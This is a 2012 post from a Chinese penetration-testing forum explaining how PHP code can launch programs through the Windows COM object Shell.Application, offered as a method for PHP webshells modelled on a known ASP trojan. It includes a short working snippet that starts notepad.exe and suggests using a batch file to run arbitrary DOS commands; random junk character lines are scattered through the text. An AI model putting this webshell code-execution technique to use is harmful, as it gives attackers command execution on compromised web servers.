中国网络渗透测试联盟
标题:
php和asp利用Shell.Application来执行程序
[打印本页]
作者:
admin
时间:
2012-9-15 14:29
标题:
php和asp利用Shell.Application来执行程序
关于用Shell.Application来执行程序，在海阳顶端asp木马里已有示例。用的是ShellExecute 这个方法。
+ Y! m* b2 `. j/ F1 {
+ i }' m) |! E4 t/ d" E
今天试了一下，用open也可以。php代码如下，我好像还没有在php的webshell中看到相关方法
8 Q; A: l+ [+ D" n, b, }: N5 W
, v+ A$ \, }# u$ I
<?php
; B3 ]8 Z3 i0 K) A: b# d$ o
$wsh = new COM('Shell.Application') or die("Shell.Application");
5 @7 P5 T5 f1 l% r! E" R3 Q$ M. [7 ~
$exec = $wsh->open("c:\\windows\\system32\\notepad.exe");
9 W e& m: I. a% u
//没有回显，多了个notepad进程，可以写一个批处理来运行dos命令。open换用ShellExecute 也可。
& G5 `* m" @; m% a* k$ p
?>
! N$ ~" ]+ F5 t! w4 a! |
7 Z$ P: [& w7 \* a
xp+APMServ5.2.0测试通过。
8 u- _ @, I$ G$ F! D I3 d
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2